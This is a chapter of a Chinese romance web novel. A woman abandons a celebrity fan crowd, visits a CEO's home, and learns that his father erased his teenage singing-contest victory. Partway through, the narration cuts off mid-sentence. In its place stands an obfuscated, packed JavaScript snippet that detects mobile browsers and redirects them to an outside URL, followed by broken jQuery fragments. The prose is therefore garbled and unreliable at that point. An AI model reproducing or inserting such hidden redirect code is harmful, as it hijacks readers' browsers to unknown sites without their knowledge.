41. 心底的辉煌

作品:《不爱,何撩?

    女人就是要看帅哥才有力气讨生活啊!见到帅哥,头可以不晕,腰可以不疼,连姨妈都会变得正常!


    曾行百无聊赖坐在公共椅子上刷手机,蓦地刷到了这句话。


    他抬头看了看不远处那群疯狂的女人,尖叫声足以掀掉整个天花板,个个如洪水猛兽一般往前拥挤,把这一片商场围得水泄不通,哪还看得到文令仪的影子?


    不是要看帅哥吗?


    怎么不看他?


    这个叫什么什么的比他还帅?


    值得她立刻抛下了他?


    半分钟后他拨打了电话。


    “曾总,请吩咐。”


    “帮我查查今日华城国际请来的艺人是谁?”


    华城国际是宏天集团的附属子公司之一,业绩平平,商场装潢也远不如宏天高档。总裁怎么去那里了?难道他有新计划?


    “好的,明白。”秘书袁不敢多问,立即接下了活。


    很快,秘书袁回了电话过来:“曾总,今日来商场做活动的艺人来自H国,是现在非常当红的男艺人,叫李敏高。他的团队昨日还联系了我们宣传部,想与宏天建立深层次合作关系,甚至有意向做我们的代言。”


    曾行的嘴角下压,绷成一个冰冷的弧度:“告诉宣传部,将这个艺人拉入黑名单。”


    “明白。”总裁大大的声音听起来很冷啊,凉气都能传过电话将他冻僵了。


    秘书袁看着网页上李敏高这张帅得过分的脸,叹声气:抱歉了兄弟,谁知道你哪惹到我们总裁了?


    文令仪第一次知道追星原来是个辛苦活,她前后左右都是人,快挤成了肉饼,尖叫声几乎快把她的耳鼓膜震破。


    最令她难受的是,她根本挤不到前排,连李敏高的一根头毛都看不到,只闻其声,她心里就像有只猫爪在挠,极痒无比。


    尝试了半天,她最终放弃,又忍着挤压的窒息感从人群里钻出来,头发都弄乱了。


    迎面看到曾行就坐在她对面,眼睛盯着她,插着手臂。笑得有点…


    可怖?


    糟糕!她刚才头脑一热跑去看明星,竟忘了自己的头晕是装的了!


    曾行皮笑肉不笑,越看越令人胆寒。


    “…李敏高欸,错过了,可能一生都再见不到。”


    “演员有什么看头?你自己不就是吗?”


    “…”


    “既然你头不晕了,我还有事,你自己回去吧。”


    看他是真着气了,转头就走,文令仪上前拉住了他的袖子。


    曾行冷冰冰的眼神扫过来,她赶忙松开,咧开嘴不失甜美地一笑。


    “出都出来了,再逛逛嘛。”


    “不喜欢逛街。”


    “那我请你吃饭?”


    “不饿。”


    曾行连看都不看她,脚下生风,往前走出了一段路。


    急中生智,文令仪喊了句:“我家停电了,一晚上都不会来,我没处可去了。”


    “我怎么就这么不信呢?”


    文令仪马上伸出三根手指发誓:“我以颜值担保。”


    “担保金有点低了吧。”


    看到她低眉垂眼小嘴微撅,曾行感到自己的心像是灌了软化剂,气不过两秒就融化了。


    “你家真停电?”


    “嗯。”


    “走吧。”


    他同意了!文令仪快走了几步跟在了他身边。


    曾行来时因为匆忙,又担心周末停车场没位置,将车停在了商场附近。两人一同去拿车。文令仪似乎有说不完的话,一会聊到对直播的想法,一会又谈最近追的剧,听的歌,身边的男人淡淡笑着,倾耳聆听,时不时谈谈自己的想法。


    经过一家酒吧,此时是6点,门口站了两排身材高挑又丰腴的女人,穿着暴露,火辣得叫人脸红。


    文令仪只看了一眼就偏过头,觉得非礼勿视。她悄悄瞄身边的人,却见他肃着脸,甚至都没往那边斜一眼。


    她开玩笑道:“要不要进去玩?”


    “没兴趣。”


    “装吧你?听说你不是挺喜欢去酒吧的吗?”


    “从哪听说的?”


    “那谁…郭主任。”


    呃,郭哈酱对不住了,要你背黑锅了。


    “我平常不工作时,喜欢唱唱歌,唱得久了,也会想听到别人的意见,所以有时会去酒吧。”


    “你去酒吧是为了唱歌?”


    “嗯。那地方吵,我要是想喝酒,不会去那。”


    “那…有很多美女加你吧?我没别的意思哈,就是觉得应该有不少女生对驻场歌手感兴趣。”


    “嗯,是有。”


    文令仪的心往下沉坠,果然是这么回事。


    但下一秒听他道:“但我都没兴趣。”


    人的心情就是这么奇妙,有时像在坐过山车,上一秒沉到深渊,下一秒又上升到顶端。


    还真叫人无所适从。


    她本想继续问关于唱歌的事,但想到上次在医院,提到这个话题曾行似乎很回避,她缄了口。


    但她依然是开心的,至少知道了他去酒吧、夜总会这些地方的真实原因。


    元旦刚过,曾行住的小区里铺红挂彩,比往日多了节日的喜庆气息。


    她没想到竟这么快又来了他家,记得上次她不小心撞在了他身上,落荒而逃,现在想起来还面红心跳。


    他的家一如既往的整洁干净,家居造型简约却透着一种高级的设计感,整间屋里弥漫着好闻的橘调香气。


    “想喝什么?”


    “不会要什么没什么吧?”


    曾行歪嘴一笑,给她看冰箱里,各色食品一应俱全。


    咦?这次这么齐全么?


    文令仪好奇:“你家最近常来人吗?”


    “为什么这么问?”


    “我看你准备了很多吃的。”


    “怕又有客人来,要什么没什么,嫌弃我穷。”


    “…”文令仪感觉自己有被内涵到。


    “你家什么时候来电?”


    “不知道,具体时间要等物业通知。”


    “那你随便看看,我先忙会。”


    “这么放心我?要是有私房钱可得藏好。”


    “女朋友都没有,藏什么私房钱?”


    他就这么放心让一个外人在家里待着?文令仪觉得到了别人家,自然要客气礼貌,有一个客人应有的自觉遵守礼节的修养。她没有乱动,自己玩了会手机,一小时后感到无聊了,轻手轻脚来到了他的卧房门口。


    他已经换上了一套家居服,背对着门,手指快速在敲击键盘,似乎很忙的样子。她看了会,怕打扰他,摈弃了想和他聊天的想法。转身时,她无意中看到了旁边的书房,整面柜子里的奖状还有金灿灿的奖杯引人注目。


    她推门进入,细细观看属于他的荣耀,惊叹他读书时几乎拿了全科的竞赛一等奖。数目之多,令人咋舌。


    他太厉害了吧!奥数全国一等,她当年最头疼的科目。因为是补习班,她只上了一学期就和父母吵闹着退


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438578|198247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出了。


    还有什么英语演讲一等奖、语文全国作文大赛一等奖,连体育也有…


    她的目光移到书柜最上排的最右侧,很不起眼的位置摆了一个奖杯,上面刻着“星光少年组流行歌曲大赛一等奖”。她眼光微动,凝视良久,都没发现曾行站在了她身后。


    “怎么?被我的优秀迷倒了?”


    她吓了一跳,回头:“你是幽灵吗?走路都没声的。”


    “怕什么?想看就看。”


    “你真厉害,是怎么做到门门科目得第一的?”


    “努力。”


    “…要不要这么凡尔赛。高中数学可难了,我经常花两小时都解不出一道题。”


    曾行淡淡瞥了眼这些奖杯,摊了摊手:“人生得聪明没办法。”


    “你还曾经去过这个比赛?还获得了第一?”她指着那个唱歌比赛的奖杯。


    “嗯,高二的时候。”他看到这个奖杯时眼里浮现一片光波,犹如风吹过静谧的湖面遽然有了縠纹,但很快归于平静。


    “星光少年这个选秀节目我看过,里面捧红了不少人呢,但我没有印象你也参加了啊?可能是记忆太久远,忘了。”


    “因为我爸让节目组把我的镜头删了。”


    “什么?”


    他的父亲竟这样狠绝?她想象不到,曾行那么喜欢唱歌,也曾梦想做歌手,是他的亲生父亲生生扼杀了他少年时的梦,如此武断,毫不留情。


    曾行抱臂靠在墙上,仿佛在说一件和自己无关的事,面无表情。


    经历过生活痛苦的人大都如此,变得麻木。


    她心里泛起酸楚:“那时的节目片段你还留着么?可以给我看看吗?”


    他摇了摇头:“早没了。”


    他当时是瞒着家里去参加的比赛,后面父亲知道了很愤怒,逼迫节目组临时改了获奖选手,连他演出的片段也毁得干净,好像他的儿子去这个节目丢尽了他的脸一样。


    两人一时无话,房里落针可闻。


    半晌后,曾行道:“你自便,我去抽根烟。”


    她隐约记得,他有提过要戒掉来着,而且也有段时间的确没看他抽过了。


    呆了一会,她也来到了阳台上,看他微耸着肩,烟雾缭绕,寂寥的背影让她想到了初见时他靠在栏杆抽烟的那个模样。


    曾行一向是骄傲的、倔强的、生气勃发的,鲜少看到他颓唐的样子。


    她轻轻走过去,靠在门边。


    “我可以听听你当时唱的歌吗?选了谁的歌?”


    “我自己写的,叫《阳光的味道》。”


    “自己作词作曲?”


    “嗯。”


    她又惊讶了一把,简直称得上佩服他了。那么小的年纪就开始自己原创歌曲,可以说是天纵奇才了。


    “你想听?”


    她使劲点头。


    曾行犹豫了下,掐掉烟,走出了阳台。不一会儿,他回来了,手里抱着一把老式吉它。


    乐曲缓缓流出,是一首节奏轻快,曲调温柔的歌,还真不愧是这个名字。听起来就像徜徉在春日的暖阳下,自在明媚,怡乐舒心。


    曾行垂眸看着吉它,表情是难得的温和柔软。


    一曲停了,文令仪未发一言,突然起身走了,留下他一脸懵逼。


    她怎么了?难不成他刚才唱得很难听?


    正纳闷,看到她很快又跑了回来,抱着他12年前得的那座奖杯,郑重放到他手上。


    “祝贺你,荣获一等奖。”